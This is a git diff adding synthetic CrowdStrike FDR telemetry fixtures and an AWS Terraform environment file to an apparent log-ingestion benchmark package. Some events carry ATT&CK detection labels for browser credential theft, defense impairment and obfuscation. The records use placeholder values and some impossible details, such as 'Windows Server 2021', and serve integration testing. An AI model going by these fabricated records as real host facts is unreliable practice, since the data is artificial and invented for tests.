+{"RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","ContextThreadId":"700420809200030","aip":"81.2.69.192","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"} +{"aip":"89.160.20.128","event_platform":"Win","TokenType":"1","EventOrigin":"17","InterfaceGuid":"12ABC-345-56D7-X","RpcClientProcessId":"000000000000","id":"aaaaaaaaaa-c6b5-499a-a494-cccccccccc","EffectiveTransmissionClass":"3","timestamp":"1757935009450","LocalAddressIP4":"89.160.20.128","event_simpleName":"ServiceStarted","ContextTimeStamp":"1757935008.880","UserName":"redacted-computer-name","ConfigStateHash":"00000000","InterfaceVersion":"1111111","RpcClientThreadId":"2222222222222","AuthenticationId":"333","ServiceDisplayName":"","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\.exe","TargetProcessId":"444444444444","ImageFileName":"\\Device\\Volume\\Windows\\System32\\.exe","RpcOpNum":"19","Entitlements":"15","name":"ServiceStartedV2","ComputerName":"redacted-user-name","aid":"11111aaaaaaaaaaaaacccccccccddddd","RpcNestingLevel":"0","cid":"22222bbbbbbbbbbbbbdddddddddd1233"} +{"AuthenticodeHashDataSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ContextThreadId":"1111111111111","CertificateIssuer":"Microsoft Windows Production PCA 2011","aip":"89.160.20.128","CertificateSignatureHash":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","CertificatePublisher":"Microsoft Windows","CompanyName":"Microsoft Corporation","event_platform":"Win","AuthenticodeHashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","OriginalFilename":"wdnisdrv.sys","FileVersion":"4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)","ImageCheckSum":"123456","EventOrigin":"17","RpcClientProcessId":"000000000000","id":"aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb","EffectiveTransmissionClass":"3","timestamp":"1757905962256","LocalAddressIP4":"89.160.20.128","event_simpleName":"DriverLoad","ContextTimeStamp":"1757905958.885","ConfigStateHash":"111111111","ContextProcessId":"000000000000","DriverLoadFlags":"0","ImageEntryPoint":"94208","MD5HashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","RpcClientThreadId":"1908581779603","SHA256HashData":"cccccccccccccccccccccccccccccccccccccccccccccccccccccc","ServiceDisplayName":"WdNisDrv","ConfigBuild":"1007.3.0019907.15","FixedFileVersion":"4.18.25070.5","RegistryPath":"","ImageFileName":"\\Device\\Volume\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","ImageTimeStamp":"2448850720","Entitlements":"15","name":"DriverLoadV6","ComputerName":"redacted-computer-name","CertificateSignatureHashAlgorithm":"32780","aid":"11111aaaaaaaaaaaaacccccccccddddd","cid":"22222bbbbbbbbbbbbbdddddddddd1233","HashAlgorithm":"32780"} +{"ContextThreadId":"1945182997323","aip":"81.2.69.192","RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED","RegClassificationFlags":"257","RegOperationType":"2","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"","timestamp":"1757920331466","LocalAddressIP4":"81.2.69.192","event_simpleName":"RegCrowdstrikeValueUpdate","ContextTimeStamp":"1757920329.062","ConfigStateHash":"2080600092","ContextProcessId":"100704500092","RegType":"0","RegClassificationIndex":"405","AuthenticationId":"997","ConfigBuild":"1007.3.0019907.15","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"102","Entitlements":"15","name":"RegCrowdstrikeValueUpdateV1","ComputerName":"redacted-computer-name","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"} +{"FileOperatorSid":"S-1-5-18","ContextBaseFileName":"svchost.exe","FileCategory":"3","Size":"22929","ContextThreadId":"1111111111111","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1757906530446","LocalAddressIP4":"89.160.20.112","event_simpleName":"PngFileWritten","ContextTimeStamp":"1757906529.857","UserName":"dev-win10-3$","ConfigStateHash":"1234437812","ContextProcessId":"111122223333","IrpFlags":"0","AuthenticationId":"999","FileWrittenFlags":"0","ConfigBuild":"1002.2.0019609.21","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"15","name":"PngFileWrittenV3","ComputerName":"dev-win10-3","OperationFlags":"0","Attacks":[{"Tactic":"Command and Control","Technique":"Data Obfuscation"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Images\\qwert.png"} +{"event_simpleName":"MotwWritten","ConfigStateHash":"0222222222","ContextProcessId":"1111111111","aip":"89.160.20.128","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","HostUrl":"","Entitlements":"15","name":"MotwWrittenV2","EventOrigin":"1","ReferrerUrl":"","id":"9c458f-ddfe1293cd-56445b2c4-3d0a0ef4","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","timestamp":"1755541882619","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Local\\Default\\Files\\asdf-ghkl"} +{"event_simpleName":"MountedVolume","BatchDataTotal":"3","VolumeSessionUUID":"BA6553C6-EA71-4F58-ADF2-EB7C71401657","BatchTimestamp":"1758303984.040","aip":"81.2.69.142","BatchDataNumber":"2","VolumeMountPoint":"\\??\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","VolumeDriveLetter":"\\\\?\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","event_platform":"Win","VolumeDeviceObjectFlags":"134479872","VolumeFileSystemDevice":"\\Ntfs","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","EventOrigin":"1","DiskParentDeviceInstanceId":"PCI\\VEN_15AD\u0026DEV_07F0\u0026SUBSYS_07F015AD\u0026REV_00\\4\u00263b50545d\u00260\u002600B8","VolumeDeviceCharacteristics":"131072","id":"4a10cafe-7a95-4659-80c0-9b670b2308c1","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1758303980922","LocalAddressIP4":"81.2.69.192","VolumeName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","ConfigStateHash":"3667246164","MountedVolumeAction":"0","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeLabel":"","ConfigBuild":"1007.3.0019907.15","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"15","name":"MountedVolumeV1","VirtualDriveFileName":"","ComputerName":"ETW","aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"FalconProcessHandleOpDetectInfo","GrandparentProcessId":"107378835181","GrandparentProcessPatternIdList":"","ParentProcessId":"107382228681","TemplateInstanceId":"20587","aip":"81.2.69.142","ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\wininit.exe","HandleOperationType":"1","event_platform":"Win","PatternId":"10517","EventOrigin":"1","id":"da53cef8-72b1-4ca8-af19-2ae8f9c30fbf","ParentCommandLine":"wininit.exe","EffectiveTransmissionClass":"3","timestamp":"1757916888316","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"3164437859","TemplateDisposition":"10","ContextProcessId":"107384762651","TargetProcessImageFileName":"\\Device\\HarddiskVolume4\\Program Files\\CrowdStrike\\CSFalconService.exe","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\services.exe","ParentProcessPatternIdList":"7201,7410,7426,7796","TargetProcessId":"107445999828","DesiredAccess":"2097151","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\services.exe","Entitlements":"15","name":"FalconProcessHandleOpDetectInfoV1","ComputerName":"win10-qwe-3","ContextProcessTagsAsString":"179,417,113292","aid":"cdbfd7c3bab5478d935db9969b5886cc","PatternIdList":"7053,7090,7119,7140,7201,7410,7426,7781,7796,7869,7871,7873,10199,10517","TargetProcessCommandLine":"\"C:\\Program Files\\CrowdStrike\\CSFalconService.exe\"","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"ServiceStopped","SourceProcessId":"111822186970","aip":"81.2.69.142","EtwRawRpcClientProcessId":"5940","event_platform":"Win","EventOrigin":"1","id":"e9e1ae71-7b21-4260-9891-f1dd497a7ea9","EffectiveTransmissionClass":"3","timestamp":"1761814422802","IsHosted":"0","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1761814419.055","ConfigStateHash":"1611923365","EtwRawProcessId":"5940","ServiceDisplayName":"wuauserv","ConfigBuild":"1007.3.0020008.15","CommandLine":"C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wuauserv","TargetProcessId":"111822186970","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\svchost.exe","Entitlements":"15","name":"ServiceStoppedV2","ClientProcessStartKey":"7599824371187858","ComputerName":"win10-qwe-3","Attacks":[{"Tactic":"Defense Evasion, Impact","Technique":"Impair Defenses, Service Stop"}],"aid":"cdbfd7c3bab5478d935db9969b5886cc","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"KernelServiceStarted","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1761811657.917","ConfigStateHash":"1146505100","ContextProcessId":"111669260464","ContextThreadId":"1984294987428","aip":"81.2.69.142","RpcClientThreadId":"1985175578964","ServiceDisplayName":"@C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\MpAsDesc.dll,-370","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","ImageFileName":"\\Device\\HarddiskVolume4\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","Entitlements":"15","name":"KernelServiceStartedV3","ImageBaseName":"WdNisDrv.sys","EventOrigin":"17","ComputerName":"raquel-win10-3","RpcClientProcessId":"111754267474","id":"664425be-9ed3-4b41-8790-5bd12a9889e8","EffectiveTransmissionClass":"3","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1761811660596","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"InstalledBrowserExtension","BrowserName":"4","BrowserFilePath":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe","BatchDataTotal":"2","BrowserProfileName":"Profile 1","BatchTimestamp":"1757820209.223","aip":"81.2.69.142","BrowserExtensionVersion":"1.2.1","BrowserExtensionInstalledTimestamp":"1748442656.300","BatchDataNumber":"1","UserSid":"S-1-5-21-2765107603-xxxx-500","event_platform":"Win","UpdateFlag":"1","BrowserProfileId":"Default","EventOrigin":"17","id":"0eaf2b81-3888-446f-99ba-e38ff8249b25","EffectiveTransmissionClass":"2","timestamp":"1757820209811","LocalAddressIP4":"81.2.69.192","BrowserExtensionArchitecture":"3","UserName":"win10_user3","ConfigStateHash":"3164437859","BrowserExtensionPath":"C:\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\1.2.1_0","BrowserExtensionId":"jmjflgjpcpepeafmmgdpfkogkghcpiha","ConfigBuild":"1007.3.0019907.15","BrowserExtensionName":"Edge relevant text changes","BrowserExtensionStatusEnabled":"1","BrowserFileHash":"ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b","Entitlements":"15","name":"InstalledBrowserExtensionV2","ComputerName":"win10-qwe-3","BrowserExtensionInstallMethod":"1","Attacks":[{"Tactic":"Persistence, Collection, Credential Access","Technique":"BrowserExtension, Browser Session Hijacking, Credentials from Web Browsers"}],"aid":"cdbfd7c3bab5478d935db9969b5886cc","BrowserVersion":"138.0.3351.83","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"SensorAntiTamperState","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"1442922594","aip":"81.2.69.142","ConfigBuild":"1007.3.0019907.15","AntiTamperStateFlag":"9","event_platform":"Win","Entitlements":"15","name":"SensorAntiTamperStateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"8bee55a5-f768-48b9-ab4c-614a1283a58a","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"SensorSettingsUpdate","RTRState":"1","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"1442922594","aip":"81.2.69.142","Flags":"0","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"SensorSettingsUpdateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"c188e104-d940-46af-aed8-acf5086fc187","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"ServicesStatusInfo","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"1694325680","aip":"81.2.69.142","ServiceDisplayName":"spooler","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"ServicesStatusInfoV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"37ddccdf-594d-4224-97de-e784822466f4","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757819610498","cid":"4092825518eaf67377a6e4492ae44577","ServiceCurrentState":"4"} +{"event_simpleName":"FileWrittenWithEntropyHigh","Size":"12216","ShannonEntropy":"932","aip":"81.2.69.142","BoundingLimitCount":"5","event_platform":"Win","EventOrigin":"1","id":"fc10d190-e98f-45fc-bb2a-ca60d3534a2a","EffectiveTransmissionClass":"3","timestamp":"1761811953235","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1761811952.620","ConfigStateHash":"1146505100","ContextProcessId":"111845303038","AuthenticationId":"999","ConfigBuild":"1007.3.0019907.15","FileEcpBitmask":"0","BoundingLimitDuration":"3600000","Entitlements":"15","name":"FileWrittenWithEntropyHighV2","ComputerName":"win10-qwe-3","Attacks":[{"Tactic":"Defense Evasion","Technique":"Obfuscated Files or Information"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp"} +{"event_simpleName":"ReflectiveDotnetModuleLoad","AssemblyName":"vezhsq1h, Version\u003d0.0.0.0, Culture\u003dneutral, PublicKeyToken\u003dnull","ModuleNativePath":"","NativePdbBuildPath":"","aip":"81.2.69.142","event_platform":"Win","DotnetModuleFlags":"8","DotnetModuleId":"140707789195504","EventOrigin":"1","id":"b089f099-ffac-44fd-9efe-e1bc148214ee","EffectiveTransmissionClass":"3","timestamp":"1755638644187","ManagedPdbBuildPath":"","ContextTimeStamp":"1755638637.713","ConfigStateHash":"3064617115","ContextProcessId":"11708829302","AssemblyFlags":"0","EtwProviderType":"2","ConfigBuild":"1007.3.0019907.15","CommandLine":"\"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Entitlements":"15","name":"ReflectiveDotnetModuleLoadV2","AssemblyId":"1825020243168","aid":"cdbfd7c3bab5478d935db9969b5886cc","ModuleILPath":"vezhsq1h","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"SuspiciousPrivilegedProcessHandle","IntegrityLevel":"16384","ContextThreadId":"1217210494023","aip":"81.2.69.142","TargetIntegrityLevel":"16384","event_platform":"Win","SuspiciousHandleOpenReason":"2","EventOrigin":"1","id":"87902694-15af-4692-b1e2-bf7fba80b272","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1757597618983","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1757597618.424","ConfigStateHash":"3591479077","ContextProcessId":"90332841484","AuthenticationId":"996","ConfigBuild":"1007.3.0019907.15","TargetProcessId":"90365065195","DesiredAccess":"2097151","Entitlements":"15","name":"SuspiciousPrivilegedProcessHandleV2","ComputerName":"win10-qwe-3","aid":"cdbfd7c3bab5478d935db9969b5886cc","TargetAuthenticationId":"996","cid":"4092825518eaf67377a6e4492ae44577"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml new file mode 100644 index 0000000000..6e1f17f7a9 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml @@ -0,0 +1,10 @@ +version: '2.3' +services: + terraform: + environment: + - AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID} + - AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY} + - AWS_SESSION_TOKEN=${AWS_SESSION_TOKEN} + - AWS_PROFILE=${AWS_PROFILE} + - AWS_REGION=${AWS_REGION:-us-east-1} + - TF_VAR_eventbridge_role_arn=arn:aws:iam::144492464627:role/eb-scheduler-role-20231101165501426500000001 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log new file mode 100644 index 0000000000..5cf7cfb6de --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log @@ -0,0 +1,5 @@ +{"AgentLoadFlags":"1","AgentLocalTime":"1697712608","AgentTimeOffset":"-1918.056","AgentVersion":"6.58.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21010423/w64","ChassisType":"Other","City":"Varanasi","ComputerName":"FEVWSA1-003","ConfigBuild":"1007.3.0017213.1","ConfigIDBuild":"13921","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/INDIA'","FirstSeen":"1619196080.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"SAT;FE;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"GNG","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992784.144","Timezone":"Asia/Varanasi","Version":"Windows 10","aid":"ffffffffa63e404bba4bff7465ab3afb","aip":"214.3.91.8","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} +{"AgentLoadFlags":"0","AgentLocalTime":"1697054061","AgentTimeOffset":"12274.197","AgentVersion":"7.01.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Hamilton","ComputerName":"MIVWIN21","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13921","Continent":"Europe","Country":"Iceland","FalconGroupingTags":"'FalconGroupingTags/Iceland'","FirstSeen":"1576097732.0","HostHiddenStatus":"Visible","MachineDomain":"iceland.bigbiz.local","OU":"Infrastructure for CM;Citrix BM","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"Mosfellsbær","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992773.787","Timezone":"Europe/Iceland","Version":"Windows Server 2022","aid":"ffffffff3c0846978560dbc0048d6555","aip":"42.7.15.32","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} +{"AgentLoadFlags":"0","AgentLocalTime":"1697069182","AgentTimeOffset":"-2275.344","AgentVersion":"7.01.13922.0","BiosManufacturer":"American Megatrends","BiosVersion":"FW29-234098","ChassisType":"Space-Saving","City":"Mumbai","ComputerName":"FEVWSA1-029","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/India'","FirstSeen":"1592645590.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"PROD;Win10 Workstations;India;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"IO","SystemManufacturer":"Dell","SystemProductName":"Dell Note","Time":"1697992701.85","Timezone":"India/Mumbai","Version":"Windows 10","aid":"ffffffffc59c473aa7fcbbe7438082cb","aip":"42.7.16.195","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} +{"AgentLoadFlags":"1","AgentLocalTime":"1697735519","AgentTimeOffset":"15963.231","AgentVersion":"6.56.17010.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-009","ConfigBuild":"1007.3.0017010.1","ConfigIDBuild":"17010","Continent":"North America","Country":"America","FalconGroupingTags":"none","FirstSeen":"1641998107.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"UAT;CAA;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992762.221","Timezone":"America/Chicago","Version":"Windows ME","aid":"ffffffffac4148947ed68497e89f3308","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} +{"AgentLoadFlags":"1","AgentLocalTime":"1697775225","AgentTimeOffset":"15889.017","AgentVersion":"7.01.13922.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21040423/z64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-234","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"North America","Country":"United States of America","FalconGroupingTags":"'FalconGroupingTags/AMERICA'","FirstSeen":"1628678052.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"Servers;America;Offices","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992719.22","Timezone":"America/Chicago","Version":"Windows Server 2021","aid":"ffffffff655344736aca58d17fb570f0","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log new file mode 100644 index 0000000000..a663f3cdd4 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log @@ -0,0 +1 @@ +{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":"DOMAIN\\BRADLEYA","UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserName":"Alan-One","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","event_platform":"Win","monthsincereset":"1.0"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log new file mode 100644 index 0000000000..f3d053e28c --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log @@ -0,0 +1,128 @@ +{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n feature_name: FEATURE_NAME,\n variants: [FEATURE_VARIANT],\n )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} 